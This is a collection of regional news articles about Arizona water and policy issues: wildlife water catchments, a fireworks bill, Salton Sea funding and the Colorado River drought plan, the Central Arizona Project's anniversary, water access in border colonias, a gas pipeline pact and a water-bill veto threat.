Arizona maintains remote ‘catchments’ for thirsty wildlife

Jed Nitso, a heavy equipment operator with Arizona Game & Fish Department, empties a truckload of water into a catchment near Lake Pleasant. (Photo by Nick Serpa/Cronkite News)
Jed Nitso, a heavy equipment operator with Arizona Game & Fish Department, empties a truckload of water into a catchment near Lake Pleasant. (Photo by Nick Serpa/Cronkite News)

As the desert swelter weighs down on him, Jed Nitso walks over to a small, man-made trough filled with green water that’s swarming with bees. A yardstick measurement confirms what he already knew – the water level is low.

With the twist of a lever, hundreds of gallons of water gush out of Nitso’s truck, flow down a 96-foot sheet of metal and fill a series of underground tanks. Twenty minutes later, the above-ground reservoir is full.

Nitso, a wildlife habitat heavy equipment operator for the Arizona Game & Fish Department, spent about half an hour checking on and refilling the catchment near Lake Pleasant. Some days, he helps repair roads or Game & Fish facilities. On others, he hauls equipment to project sites.

But when the state suffers from long stretches without rain, Nitso spends much of his time transporting truckloads of water to some of the most remote places in Arizona – the 3,000 Game & Fish-maintained water catchments that help keep Arizona’s wildlife alive.

The department has been building, expanding and maintaining these catchments since the 1940s, now spending thousands each year to ensure healthy wildlife populations – part of the department’s mission – even in the toughest Arizona conditions.

“It’s not an easy job,” Nitso said.

Catchments run dry

They go by several names: trick tanks, guzzlers, drinkers. The term Game & Fish officials use most frequently is catchment. Their purpose is simple – collect rainwater and deliver it to a trough so wild animals can drink.

People who spend a lot of time in Arizona’s wilderness may have stumbled across one. They typically consist of a few key elements: a trough to allow the animals to drink, a gutter-like ramp to collect rainwater and underground tanks to store the water. Some smaller catchments hold about 2,500 gallons of water. Others can hold nearly 10,000 gallons.

Water collected by catchments is stored in cisterns to ensure that local wldlife can survive drought. Some newer catchments can store up to 10,000 gallons. (Photo by Nick Serpa/Cronkite News)
Water collected by catchments is stored in cisterns to ensure that local wldlife can survive drought. Some newer catchments can store up to 10,000 gallons. (Photo by Nick Serpa/Cronkite News)

The catchments were designed to be self-sufficient, and they operate without any mechanical parts or electricity, using physics to ensure consistent water delivery. In theory, rain keeps the storage tanks full, so other than occasional maintenance, the catchments would rarely need to be touched by human hands.

But with Arizona in the grip of a decades-long drought, catchments run dry.

That means Nitso and other Game & Fish employees have to haul thousands of gallons of water into deserts, through forests and up mountainsides.
Game & Fish works with some nonprofits, such as the Arizona Elk Society, to maintain the catchments. The department only owns about a third of that number – various federal agencies, such as the Bureau of Land Management, own the rest.

Joseph Currie manages the catchments for the state, and he used to build and haul water to them for years before moving into the administrative side of wildlife management.

His budget for the current fiscal year is about $690,000, which he has to stretch to cover everything from the cost of the water to truck maintenance. Funding comes from a variety of sources, including grants, firearm tax revenue and some proceeds from hunting permits.

Currie said it’s nearly impossible to predict how much water Game & Fish will need to haul each year, or how much it will cost.

“It all depends on the rains,” he said.

In the first six months this year, before monsoon storms swept the state, Arizona Game & Fish transported more than 650,000 gallons of water to catchments, he said. The cost ranges from hundreds to thousands per delivery, depending on the destination, amount and water source.

The Arizona Game & Fish Department accepts donations via text message to help fund the initiative. It also allows volunteers to “Adopt-a-Catchment,” helping to monitor water levels and complete light maintenance.

“It’s kind of funny,” Currie said. “We’re trying to get out of the water-hauling business by building these (catchments) bigger and more efficient, but with years like this, it’s inevitable. You’re going to be hauling a lot of water.”

Big job for employees

Maintaining the catchments is a challenging job that requires a certain kind of worker, Currie said. “There’s people that live for this,” he said. “There’s other people that have no clue that it even happens.”

Nitso, who calls Payson home, is the kind that lives for this kind of work.

Since he was a kid, Nitso said, he’d always wanted to work for a wildlife agency. He’s passionate about hunting, wildlife and spending time in nature, and he has worked with Game & Fish for more than 14 years.

Nitso travels across the state, from the Arizona Strip north of the Grand Canyon to the border with Mexico. Some catchments can be difficult to find because they don’t have coordinates listed or their locations were never properly recorded.

Wildlife management workers and rangers will stop by the catchments a few times a year and measure their water levels. Game & Fish also monitors rainfall to get a sense of which catchments might run dry.

Currie and Nitso recently hauled water to a catchment about 5 miles west of Lake Pleasant, off a network of bumpy dirt roads. But Currie emphasized that not all water deliveries are as easy to access as that one.

“This road might as well be on I-17, for me,” Currie said. “There are catchments that are on God-awful roads,” Currie said.

Some catchments can be accessed only by driving north into Utah and returning to Arizona, often a two-day journey. Many catchments aren’t near any sort of road.

Others are in locations so remote – such as bighorn sheep habitat – that water can only be delivered by helicopter. That’s done slowly, 150 gallons at a time, and it costs thousands of dollars an hour.

Despite the challenges, Nitso said he enjoys the job.

“On a weekly basis, I get to go into a lot of places where other people just go when they’re hunting,” Nitso said. “If I were to just say, ‘I’m going to go here on my own time,’ it might be one trip a year.”

When it’s hot, Game & Fish will often book Nitso a motel room or maybe he’ll sleep in an RV trailer or bunkhouse. But when the weather cools down, Nitso will set up a cot or tent and spend the night under the stars.

He said he looks forward to the inevitable encounters with wildlife, especially in northern Arizona.

“You never know when you’re going to come around the corner, and there’s going to be something standing in the road,” he said.

Human intervention

Arizona’s network of catchments has played a crucial role in maintaining healthy, stable populations of local wildlife for decades, Currie said.

Before large numbers of people had settled in Arizona, wildlife populations would fluctuate wildly with the rainfall, and in drier years, certain populations would experience huge die-offs. This realization was a big part of what led to the construction of catchments in the 1940s, Currie said.

The initial goal was to stabilize quail and dove populations, which were popular game at the time. The initial concrete catchments were built primarily near Phoenix and were relatively small, only holding about 700 gallons of water.

But it didn’t take long, Currie said, for bigger species to discover the troves of water.

“They soon found after building a bunch of those that once the deer found them and the coyotes and everything else found them, they were drinking out of them, too.”

The small size of the first catchments, in addition to dry weather and frequent visits by larger animals, led to the need for water hauling. In the 1960s, workers built bigger catchments that could hold 6,000 gallons. Some of today’s catchments can hold close to 10,000 gallons and are built out of modern materials, such as fiberglass.

Catchments still are being built, but it’s not just to shore up water deficits because of dry weather: Some wildlife has been cut off from natural water sources by human incursion into their habitat.

This happened in the 1970s with the Central Arizona Project Canal, which planners knew would cut through wildlife habitats. The project’s budget included money for catchments adjacent to it.

The canal also poses a risk to animals that may fall in and get stuck, either by accident or when trying to access water, Currie said. That’s a big reason why Game & Fish maintains catchments on both sides of the waterway, which brings Colorado River water to Phoenix and Tucson.

Highways are another barrier for wildlife seeking food and water.

“When they straighten out a highway or widen it, it tends to become more of a barrier,” Currie said. “It’s like playing Frogger, if you’re the deer. … You’ve got to try and keep from getting run over, so a lot of animals opt to not cross those roads.”

The catchments also reduce the chance of human encounters with wild animals. With a dependable water source, animals don’t need to venture into neighborhoods to survive.

“Sometimes when humans are blaming wildlife for ruining their flower pots or whatever, it’s because they moved into the animals’ backyard,” Currie said. “The animal is just trying to survive.”

There have been some unintended consequences of building the catchments; notably, attracting unexpected visitors.

The catchments were designed to be “wildlife exclusive,” Currie said, but they often attract domestic cattle and other large animals that ranchers let roam. These animals, particularly the cows, tend to camp out at catchments and quickly deplete the water, and damage the structure.

To prevent this, Game & Fish often fences off catchments using steel fences designed to let in the animals the catchments are meant to attract – most wildlife can either pass through the fence or hop over it – while shutting out unwanted animals.

The department also strikes deals with ranchers to create secondary troughs that shoot off from the main catchment, so livestock can stay hydrated without affecting the water source for wild animals.

Even humans will use the catchments in dire circumstances because they are often the only reliable water source for miles.

Currie said illegal immigrants often use the catchments when crossing into Arizona from Mexico. “They have maps to our catchments leading all the way into town,” he said.

At times, he said, his crews have pulled up at catchments and found traces of recent human activity, including bags and plastic jugs.

“It’s saved people’s lives before,” Currie said. “It’s not the most fantastic water, but if it’s that or death, you might as well take the chance.”

Bill would allow explosive fireworks in state’s largest counties


Want to light up the sky on the Fourth of July?

Sen. David Gowan, R-Sierra Vista, has introduced legislation to let you do that – but only if you live in Pima or Maricopa county.

Arizona law has since 2009 allowed things like sparklers, fountains, smoke devices and illuminated torches. That approval came only after industry lobbyists, responding to concerns about safety and fires, assured lawmakers that anything that explodes or shoots into the air would remain illegal.

SB 1667 would change that.

It would specifically allow the sale of what the industry calls “multiple tube aerial devices.”

David Gowan
David Gowan

Think about a box, around the size of a car battery, with anywhere from nine to 15 tubes. You put it on the ground, light the fuse and, one by one, a rocket shoots about 100 feet into the air and explodes.

Gowan said a look around any community around Independence Day, New Year’s Day or other celebration event proves that these kind of devices already are in common use. He said Arizonans are bringing them back from New Mexico, where fireworks dealers set up shop along the border.

“So we’re just missing the money,” he said.

Gowan brushed aside the fact that anyone who uses those devices now can be arrested.

“I don’t see many people in jail for shooting those off,” he said. “It’s a fact they’re not doing that.”

Mike Williams, who lobbies for TNT Fireworks, which crafted the legislation, said the measure does not legalize other types of aerial devices that he said can be more dangerous.

Part of what makes these “safer,” he said, is that the device remains on the ground where it shoots straight up. He said that’s quite different from hand-held Roman candles and reloadable mortars which can tip over and send an explosive rocket in an unintended direction.

And Gowan dismissed concerns that having an explosive that is airborne creates a fire hazard.

“You know, New Mexico is full blown,” he said, with that state allowing all sorts of explosive and aerial devices. “And you don’t see all those hazards over there.”

Still, Gowan agreed to limit the availability of these new items to the state’s two largest counties, saying that the metro areas were the first to allow the legal sale of fireworks. He said rural counties have been given “some leeway” in deciding what is appropriate.

“It just seemed like a logical area to start,” he said.

Gowan has at least an indirect financial interest in the availability of more legal fireworks as he operates one of those pop-up sales tents in the Chandler area around the legal sales days. But Gowan said that Arizona has a “citizen Legislature” where lawmakers are expected to have outside employment and are expected to bring their outside knowledge to the Capitol.

Nothing in the legislation would change the days when Arizonans can purchase and use the kind of fireworks that are legal. Those include Independence Day, Christmas, New Year’s Eve, Cinco do Mayo and the festival of Diwali which is celebrated among some who have Asian Indian roots.

California district stalls West drought plan over lake money

In this April 30, 2015 file photo, a man fishes for tilapia along the receding banks of the Salton Sea near Bombay Beach, Calif. Work on a multistate plan to address drought on the Colorado River in the U.S. West won't be done to meet a Monday, March 4, 2019 federal deadline. A California irrigation district with the highest-priority rights to the river water says it won't approve the plan without securing money to restore the state's largest lake. The Imperial Irrigation District wants $200 million for the Salton Sea, a massive, briny lake in the desert southeast of Los Angeles. (AP Photo/Gregory Bull, File)
In this April 30, 2015 file photo, a man fishes for tilapia along the receding banks of the Salton Sea near Bombay Beach, Calif. Work on a multi-state plan to address drought on the Colorado River in the U.S. West won’t be done to meet a Monday, March 4, 2019 federal deadline. A California irrigation district with the highest-priority rights to the river water says it won’t approve the plan without securing money to restore the state’s largest lake. The Imperial Irrigation District wants $200 million for the Salton Sea, a massive, briny lake in the desert southeast of Los Angeles. (AP Photo/Gregory Bull, File)

A California irrigation district with the highest-priority rights to Colorado River water is using its power to demand federal funds to restore the state’s largest lake, hoping to capitalize on one of its best opportunities to tackle a long-standing environmental and human health hazard.

The Imperial Irrigation District wants $200 million for the Salton Sea, a massive, briny lake in the desert southeast of Los Angeles created when the Colorado River breached a dike in 1905 and flooded a dry lake bed. The money would help create habitat for migratory birds and suppress dust in communities with high rates of asthma and respiratory illnesses.

The district says that if the federal government doesn’t commit to giving California the money, it won’t sign off on a multistate plan to preserve the river’s two largest reservoirs amid a prolonged drought.

“There have been various plans over the decades for the Salton Sea, and none of them have been built,” said Michael Cohen of the Pacific Institute, who studies the lake. “This most recent effort is a huge priority.”

A nearly two-decade-long drought has drained Lake Mead and Lake Powell to alarmingly low levels. The seven Western states that rely on the Colorado River have been working on a plan to keep the lakes from being unable to deliver water at all.

In the lower basin, the drought plan would mean voluntary and more widespread cuts for Nevada, California and Arizona.

The plan has hinged at various points on the latter two states.

The Gila River Indian Community, a key player in Arizona’s negotiations, threatened to pull out of the plan if the speaker of the state House advanced a bill the tribe said would undermine its water rights. The tribe now says it has the reassurance it needs to provide much of the water Arizona requires to soften losses for other users in the state. Arizona as a whole, though, said it’s moving at its own pace on more than a dozen agreements that need to be signed among water users in the state.

The situation in California remains shaky.

The state last year secured $200 million in a voter-approved ballot measure to work on the first phase of a Salton Sea plan.

The plan would create thousands of acres of bird habitat and help control dust that blows through the Coachella and Imperial valleys, creating a health hazard for residents.

No one expects to restore the Salton Sea to its former glory. In its heyday in the 1950s and ’60s, the lake was a major recreation area, frequented by boaters, anglers and even Hollywood celebrities.

It was fed primarily by runoff but has been evaporating more quickly since San Diego’s regional water agency stopped sending it water. Inflow to the lake has decreased to 900,000 acre-feet annually, about one-third less than 15 years ago, Cohen said. An acre-foot is enough to serve one to two households a year.

Any action taken through the drought plan to preserve Lake Mead on the Arizona-Nevada border or Lake Powell on the Arizona-Utah line must take into account the crisis at the Salton Sea, said James Hanks, who sits on the Imperial Irrigation District’s board of directors.

“IID has worked to be a good neighbor on the river,” Hanks said at a recent meeting. “Yet, a sustainable solution to declining flows cannot and will not be attained at the continuous and severe expense of the Imperial Valley and the Salton Sea, while other agencies intend to grow their supply off of a shrinking system.”

The irrigation district has something else to gain from the drought plan: the ability to store huge amounts of water behind Lake Mead for later use because it doesn’t have its own long-term storage reservoirs.

The district is seeking a funding commitment for the Salton Sea ahead of a March 4 deadline set by U.S. Bureau of Reclamation Commissioner Brenda Burman for Arizona and California to complete work on the drought plan. Without a plan, Burman said she will turn to governors in the river basin states — Arizona, California, Colorado, Nevada, New Mexico, Utah and Wyoming — for a solution.

But she said late last week she remained hopeful all the states soon will finish negotiations, and legislation implementing the drought plan will be introduced in Congress so it can take effect this year.

The Coachella Valley Water District board joined other California water managers in approving in-state agreements earlier this month. But there’s a caveat: Everyone signs the full plan or no one signs. Imperial wants to see the full package before it takes a final vote.

Hanks said the Imperial board won’t tolerate threats by the Reclamation Bureau, which has broad, unspecified authority over the drought plan. He said he doubted the agency could violate the priority system on the river.

The Imperial Irrigation District is the largest single recipient of Colorado River water, with 3.1 million-acre feet of California’s 4.4 million-acre entitlement under legal compacts stretching back nearly a century.

The Imperial Valley grows much of the nation’s winter vegetables, and the irrigation district also serves several cities.

Burman declined to talk about the Salton Sea funding on a recent call with reporters but said the federal government has been a strong partner in efforts to protect the lake. The land it sits on is a mix of state, federal and private ownership, but California has main responsibility for the declining lake under a 2003 landmark accord that quantified Colorado River water in the state.

Bruce Wilcox, assistant secretary for Salton Sea policy at California’s Natural Resources Agency, said the long-term goal for the 375-square-mile (971-square-kilometer) lake is that it’s self-sustainable after it stabilizes around the year 2030.

“Right now, the system we’re building requires a fair amount of human intervention,” he said.

The Imperial Irrigation District recently wrote to the U.S. Department of Agriculture asking for the $200 million to be delivered through the latest farm bill, and those talks are continuing, the district said. Language in the bill made the Salton Sea eligible for federal funding for drought-related problems. California U.S. Sen. Dianne Feinstein also has been pushing the Trump administration to implement the provisions.

Using the drought plan as leverage isn’t without precedent.

Earlier, southern California’s Metropolitan Water District said it would be difficult to support the plan without another water source. The agency has pushed for two tunnels to be built under Sacramento-San Joaquin Delta in Northern California to ship water south. California Gov. Gavin Newsom said last week he would support one tunnel.

Central Arizona farmers also have said they want a guarantee of federal funding for groundwater infrastructure they increasingly will rely on as they get moved off Colorado River water.

“It’s not just IID,” Cohen said.

CAP celebrates 50 years since landmark legislation

In this Sept. 30, 1968 photo, President Lyndon Johnson signs legislation that creates the Central Arizona Project. With the president from left are Carl Hayden, John Rhodes, Lady Bird Johnson, Stewart and Mo Udall and Roy Elson. PHOTO COURTESY ARIZONA STATE UNIVERSITY LIBRARY
In this Sept. 30, 1968 photo, President Lyndon Johnson signs legislation that creates the Central Arizona Project. With the president are Carl Hayden, John Rhodes, Lady Bird Johnson, Stewart and Mo Udall and Roy Elson. PHOTO COURTESY ARIZONA STATE UNIVERSITY LIBRARY

As the Central Arizona Project celebrates the 50th anniversary of the federal act that authorized the massive water project, Arizona is still locked in complicated conversations about how the state will move forward on water issues.

A half century ago, President Lyndon Johnson signed into law the Colorado River Basin Project Act, which authorized construction of CAP to funnel water from the Colorado River Basin to central Arizona.

During the signing, Johnson called the bill landmark legislation that built on a series of previous conservation measures he had signed. He also proclaimed the signing day, “Carl Hayden Day” after the Arizona senator who played an integral role in furthering the state’s water interests.

“For the millions of Americans west of the Continental Divide, it will provide more water for growing cities; it will provide more water for expanding industries, for the farmers’ crops, and for the ranchers’ cattle,” Johnson said.

But decades-old conversations about the longevity of using the Colorado River Basin as a major water source are still ongoing today as a contingent of seven Western states work to prevent water shortages into the future.

CAP, which is now a 336-mile system of channels, pipelines and pumping stations that move water, was envisioned decades before Johnson gave his approval.

Congress allocated $1.2 million for CAP construction in 1970, but the federal government didn’t release the money until after Arizona created the Central Arizona Water Conservation District. Construction of CAP started five years after the act’s signing on September 30, 1968.

CAP Deputy General Manager Tom McCann said he’s not sure anybody really knows directly where the idea for CAP came from. People had the general idea of taking water from the Colorado River and bringing it to central Arizona for the past 100 years, he said.

During the 1930s and 1940s, both business and agriculture interests were working on plans to bring water from the Colorado River to the heart of the state to spur business and farming developments.

John Harrison, CAP’s construction contract administrator, still has a copy of a CAP project planning report from 1947. He estimates there were somewhere around 20 such planning reports.

“It was actually a long time coming to be,” he said. “It was on the drawing board from the state of Arizona for I don’t know how long.”

Some refer to CAP as, “the last big one” because the federal government hasn’t taken on a water project of that magnitude since.

Passing the Colorado River Basin Act through Congress was no easy task. Multiple attempts to pass the act were torpedoed by the California congressional delegation, which didn’t want its state to face any cuts to its water.

In order to make the deal happen, Arizona agreed to take junior priority status, meaning it would be the first state to take water reductions during a shortage.

McCann called the lengthy process of getting the act passed politics as usual.

“It’s easy to ask yourself today, especially from the Arizona perspective, well, why did Arizona politicians ever go along with that? If you read the things they said at the time, it was very clear that they felt they didn’t really have any alternative,” he said.

But water discussions continue among Arizona and other Western states. Right now, the Lower Basin states of Arizona, Nevada and California and the Upper Basin states of Colorado, New Mexico, Utah and Wyoming are negotiating water conservation agreements as water levels in Lake Mead continue to decline.

The states have released draft agreements to implement drought-contingency plans in the Upper and Lower Basins after the Bureau of Reclamation predicted a shortage in Lake Mead — wherein water levels are projected to fall beneath elevation–1,075 feet above sea level — in 2020.

“To me, the law of the river emerges in an incremental fashion,” McCann said. “You solve what you can solve at the time and you leave other things for the future. This is just one more step in the evolution of water.”

The Western states have water agreements stretching back to the 1922 Colorado River Compact, which divided the states into two basins and distributed 7.5 million acre feet of river water each year per basin. Arizona had concerns about the water allocation and didn’t ratify the compact until 22 years later.

Another reason Arizona politicians agreed to the junior priority status in the Colorado River Act is because they believed they were getting a commitment to augment the flow of the river, McCann said. Augmentation would mean adding more water to the basin through options such as desalination or importing water from elsewhere.

But augmentation efforts are not cheap. And while the federal government studied the idea in 1975 and learned that eventually, there will not be enough water in the river basin to go around, it never started any sort of augmentation project.

While there is still more water available than necessary for current uses, the resources in the Colorado River Basin are finite and Arizona will likely be involved in water conversations for decades to come.

Colonias on the border struggle with decades-old water issues

"Before, all of this used to be a dump. If there was sewage and potable water, it would be all right," Araceli Silva said. (Photo by Maria Esquinca/News21)
“Before, all of this used to be a dump. If there was sewage and potable water, it would be all right,” Araceli Silva said. (Photo by Maria Esquinca/News21)

Nestor Alaniz didn’t get a permit to build a well in his mother’s backyard, and he didn’t get it inspected.

In fact, he didn’t even know how to dig a well. He learned by watching tutorials on YouTube while his brother, a construction worker, helped him drill the 25-foot-deep hole.

They built the well after the old one dried up for the fourth time. Their mother, who lives in a “colonia” – an unincorporated community – of about 400 residents outside of Yuma, had gone without water to her home for a year.

They didn’t have the $5,000 to $10,000 to pay a certified well driller, so they spent $1,200 to buy their own equipment and build it themselves.

County officials said they’re concerned when residents build wells without required permits. They know there’s often not enough separation between the wells and septic tanks, which can increase risk of contamination. And they fear some of the wells do not go deep enough. However, officials said their hands are tied because the legal process to get things done is too complicated.

All along the U.S.-Mexico border, about 840,000 mostly low-income, immigrant Latinos have settled in colonias – cheap plots of land outside city limits without basic infrastructure such as water and sewage systems, electricity and paved roads.

A News21 analysis of census data indicates that across the United States, the average income in predominantly Latino unincorporated areas is 40 percent lower than the average income in predominantly white unincorporated areas, making it harder for these communities to deal with water quality issues. Colonias exemplify some of these problems.

 As of 2015, an estimated 30 percent of colonia residents didn’t have access to safe, clean drinking water, according to the Rural Community Assistance Partnership, a national nonprofit group.

News21 visited colonias along the border – in California, Arizona, New Mexico and Texas – and examined how residents deal with water contamination and why it’s so difficult to improve their condition.

Colonias often face complicated government bureaucracy and limited budgets that make it hard to secure funds to fix problems. Residents are often poor, with little education, and some are undocumented. And since many residents say they are not civically engaged, they feel invisible to their elected officials.

Colonia residents also have to face the public perception that they chose to settle in their communities knowing they lacked services.

“There are attitudes out there that these people moved into these subdivisions on their own, consciously, and they should not be expecting the state to bail them out,” said Texas state Sen. Jose Rodriguez, a Democrat from El Paso. “The fact that (colonias) exist in other parts of the border along the U.S. reflects some similar attitudes.”

Araceli Silva's sons drilled and installed a well in the backyard of her home in Wall Lane, near Yuma. (Photo by Maria Esquinca/News21)
Araceli Silva’s sons drilled and installed a well in the backyard of her home in Wall Lane, near Yuma. (Photo by Maria Esquinca/News21)

Historic settlement

 The word colonia means “neighborhood” in Spanish. The federal and state governments use the term to describe settlements along the border that lack infrastructure. Colonias can be traced to the 1950s, but some argue they’ve been there longer.

Thousands of mostly immigrants – both legal and undocumented – who couldn’t afford to live in the city, settled in colonias. County and state regulations did not require developers to provide basic services if the land didn’t exceed a certain number of lots.

“If you look at the history of these communities, they were unscrupulous land sales,” said Gina Nuñez, associate professor of anthropology at the University of Texas at El Paso.

Land developers would tell colonia residents: “‘Don’t worry. Those services are coming. The county is growing, and they’re going to provide those services,’” El Paso County Commissioner Vince Perez said. “We still haven’t been able to deliver (water and wastewater) service to residents who have been waiting three decades.”

 About 90 percent of the colonias –  roughly 2,000 of them – are in Texas, according to data from Texas and the Rural Community Assistance Partnership. It was the first border state to legally recognize colonias and allocate funds for them.

In the early 1990s, after a population boom, the U.S. Department of Housing and Urban Development and the Department of Agriculture officially recognized colonias as neighborhoods within 150 miles of the border that lack some basic utilities. The National Affordable Housing Act of 1990 required that all the border states set aside a percentage of Community Development Block Grants for colonias.

 “We created ways for these communities to better compete for resources,” said Ed Cabrera, a HUD spokesman. “Despite these efforts, there’s obviously still a lot of need in these areas.”

Some colonias have their own water systems or receive water from nearby cities if they’re close enough. Their treatment facilities, pipes, wells and septic tanks often are too old, or they can’t afford the technology to properly clean the water.

Wall Lane, Ariz., resident Araceli Silva said she buys gallons of drinking water at this nearby water station. "I never drink this water," she said of her tap water. (Photo by Maria Esquinca/News21)
Wall Lane, Ariz., resident Araceli Silva said she buys gallons of drinking water at this nearby water station. “I never drink this water,” she said of her tap water. (Photo by Maria Esquinca/News21)

Complicated bureaucracy 

Araceli Silva moved to her colonia near Yuma 27 years ago because of the cheap price. She settled there after immigrating from Michoacan, Mexico, when she was 17 to do farm work in the fields.

The 53-year-old mother of nine has struggled with her wells, which have run dry more than once. She doesn’t have the money to hire a professional because she stopped working after suffering severe back pain – a result of harvesting broccoli for so long.

Silva and her neighbors rely on individual wells because they can’t hook up to the city system.

Yuma County officials said the residents must meet certain conditions before they can apply for funds to connect to city water. The first problem: The county won’t allow more than one house on each parcel. But since the residents already have multiple homes on each parcel, they won’t budge.

Residents who want access to water also would have to sign off on a petition and agree to pay for a preliminary assessment without first knowing the cost. The county would need to hire engineers to figure out if the project is viable and determine the expense. Residents would have to pay for these reports even if the project doesn’t happen.

“Some of them would call them a ‘blank check’ because they’re signing a petition without knowing how much it’s gonna cost them at the end,” said Nancy Ngai, Yuma County community planning coordinator. She said that, depending on the size of the project, those reports can cost nearly $100,000. Without the residents signing that petition, the county can’t help, she said.

After years of going back and forth with residents, the county gave up. “For the past 10 years, I really have not worked with them at all simply because there were too many roadblocks that I was just not able to find an answer to,” Ngai said.

For Silva, that means remaining in the shadows. “No one comes to this place to help,” Silva said in Spanish.

Ducey signs pipeline pact with New Mexico, Sonora

New Mexico Gov. Susana Martinez, left, discusses the terms of a border pact she signed Wednesday with Arizona Gov. Doug Ducey and Sonora Gov. Claudia Pavlovich to build a pipeline through Arizona to move New Mexico natural gas to Sonora for eventual shipment to China. (Capitol Media Services photo by Howard Fischer)
New Mexico Gov. Susana Martinez, left, discusses the terms of a border pact she signed Wednesday with Arizona Gov. Doug Ducey and Sonora Gov. Claudia Pavlovich to build a pipeline through Arizona to move New Mexico natural gas to Sonora for eventual shipment to China. (Capitol Media Services photo by Howard Fischer)

Gov. Doug Ducey on Dec. 19 signed a pact that will enable New Mexico to move its excess natural gas through Arizona to Sonora for eventual sale to Asia.

The deal provides a new market for New Mexico where Gov. Susana Martinez said her state has more natural gas than it can use on its own. And Sonora Gov. Claudia Pavlovich said her state benefits from the jobs that will be created building and operating a plant that will compress the gas into liquified form for transport on ships.

And what does Arizona get — other than a pipeline and other facilities to transport the gas?

In essence, Ducey said, it’s goodwill.

“This is just a way for us to work with our neighbors and promote binational trade,” the governor said, pointing out that Sonora already is Arizona’s largest trading partner. “This is just another way for us to bring that to life and be cooperative in economic development.”

At this point the agreement to cooperate is just that. Actual details, including a timeline and even a path for the pipeline, are not yet on the horizon.

And the agreement itself is valid for four years.

Ducey said, though, it is an important first step.

The governor acknowledged that in prior decades there have been shortages of natural gas which also led to price spikes. There even was a moratorium for a time on installing natural gas in new homes.

But Ducey said he’s not worried that shipping excess natural gas to Asia will result in less for this country when needed.

“Right now we’re in a positive position on energy,” he said. And Ducey said that, to have maximum flexibility, Arizona is “going to continue to have an all-of-the-above philosophy around energy, with a preference for renewables.”

And Martinez, for her part, said there is no basis for such a worry.

“I don’t think anybody understands the abundance of natural gas that exists just in one state, much less the rest of the country,” she said. “I don’t have any concerns that because we find a market that we are not going to be able to have that continuing discovery and production of natural gas.”

According to the agreement, New Mexico is currently producing 3.7 billion cubic feet of natural gas daily and is on track to reach 4.0 billion by 2022. It also says New Mexico is among the top ten states in proven reserves, with nearly 14.4 trillion cubic feet when measured at the end of 2016.

A lot of what the agreement is about is logistics.

Right now any natural gas New Mexico wants to sell to Asia — and Taiwan in particular — goes through Houston. That means transporting the gas to the Gulf of Mexico where it is liquified to be put into ships which have to go through the Panama Canal, a process that adds time and cost.

Sending the gas by pipeline to Guayamas on the Sea of Cortez — what is called the Gulf of California in the United States — expedites the process.

The latest version of cross-border cooperation comes amid the ongoing rhetoric of the Trump administration decrying what the president has said have been unfair trade deals with our southern neighbors. Ducey said to ignore all that.

“I think there’s a difference between rhetoric and actions,” he said.

“The actions that I’ve seen are the recent signings of the USMCA,” the governor continued, short for the United States-Mexico-Canada agreement, “which is basically a new and improved NAFTA,” the now defunct North American Free Trade Agreement.

“I’m hopeful for more of those types of actions,” Ducey continued. “Those are going to be what I’m going to be advocating for out of the governor’s office.”

And if nothing else, he said, Arizona will continue its own separate relationship with Mexico regardless of what is coming out of Washington.

The major beneficiary of the deal could be Sonora which will have to construct a plant to convert the natural gas into liquid form.

“It’s going to be jobs for everyone right there,” Pavlovich said, though she declined to speculate on what that would produce in actual dollars or pesos.

Ducey threatens veto of water bill that ignores his principles

Lingering drought and demand from growing cities have lowered water levels on Lake Mead behind Hoover Dam. The U.S. Interior Department could declare a shortage on the Colorado River as early as 2017. (U.S. Geological Survey Photo)
(U.S. Geological Survey Photo)

Gov. Doug Ducey threatened Tuesday to veto any drought contingency plan that does not equitably divide up the pain of Arizona having less water in 2020 and eventually leads to lower water use in the state.

The vow, the governor’s strongest statement to date on the issue, comes as the key players in crafting a plan appear to be circling around an agreement of who loses water when the state is forced to reduce the amount it can draw from Lake Mead and the Colorado River.

“Several details need to be worked out,” Ducey told those attending a water conference here. “But we are very close.”

But Ducey also acknowledged that there are diverse interests who have their own ideas about how to allocate the water and who should be forced to take a larger share of the cuts, deriding them as “other, more simplistic plans.” And the political reality is that any plan and the funding to support it has to be approved by the Legislature with 90 members each beholden to certain constituencies.

Those, the governor said, would be dead on arrival at his office.

“I will reject any plan or policy that comes across my desk if it fails to adhere to the principles I’ve outlined,” he said.

Those, he said, include protecting Lake Mead and balancing the interests of all water users.

And there’s something else. Ducey said any plan, to be acceptable, has to acknowledge this isn’t just a stop-gap measure. He said a key element of the plan has to be the state “transitioning to a dryer future.”

Ducey also defended one key element which would have the federal government provide at least $30 million to drill new wells in Pinal County and the ditches and pipes to deliver the water to farmers.

The governor acknowledged that one of the key goals of the state’s historic 1980 Groundwater Code was to reduce groundwater pumping in several areas of the state. That included establishing several “active management areas.”

For the Phoenix, Tucson and Prescott areas, that goal is “safe yield” by 2025, with the amount of water being pumped out equal to what is replaced.

In the Pinal AMA, however, the aim is to preserve agriculture for as long as possible while also ensuring there is enough groundwater for future residential development. Ducey said it makes sense to give farmers access to more groundwater now to make up for them having to absorb much of the loss of Colorado River water.

“It’s a balancing act,” he said.

“Pinal County has been growing,” the governor explained, with 70 percent of current water use going to agriculture. At the same time, Ducey said, the county is experiencing “a very robust net growth of individuals who are building homes.”

“And there’s a water need there as well,” he said.

The long-term plans for Pinal County had always envisioned farmers getting and using less Colorado River water.

That, however, was not supposed to take place for years. But if Arizona is allowed to draw less water from Lake Mead, the farmers would end up taking the brunt of the burden if they do not get access to new supplies of groundwater, at least for some period into the future.

But even with the new wells — assuming the federal funds develop — the amount of farmland in the area still could be cut by 40 percent.

At the root of the issue is that Arizona, under long-term deals with other states, gets about 40 percent of its water from the Colorado River.

That did not become a problem until it became evident that the plans were crafted in years of abundant supply. Now, with a drought, Lake Mead is virtually certain to drop below 1,075 feet above sea level in 2020, the point at which those deals require Arizona to cut its use.

What’s different now, said Ducey, is how the states and Mexico, which are entitled to allocations are dealing with the problem.

“Historically, issues surrounding the Colorado River were resolved through conflict and litigation,” the governor said. “We’re attempting to do something different today, and that’s work collaboratively.”

That, then, leads to crafting a drought contingency plan that Ducey said is designed to be acceptable to all the “stakeholders” who have a claim on the water. More to the point, the governor said once those stakeholders reach a plan they have to be united in urging lawmakers to ratify it, without alterations.

Ducey conceded this could prove difficult with each of the water users having its own wants and needs. But he said those needs “must be balanced with the overall needs of the state.”

The goal now — after putting the finishing touches on the plan — is that unified front which is necessary if Arizona is to have a plan that it can then present to the other states and Mexico, which also has agreed to leave water in Lake Mead if a deal can be reached.

Ducey has used his veto stamp before on water issues.

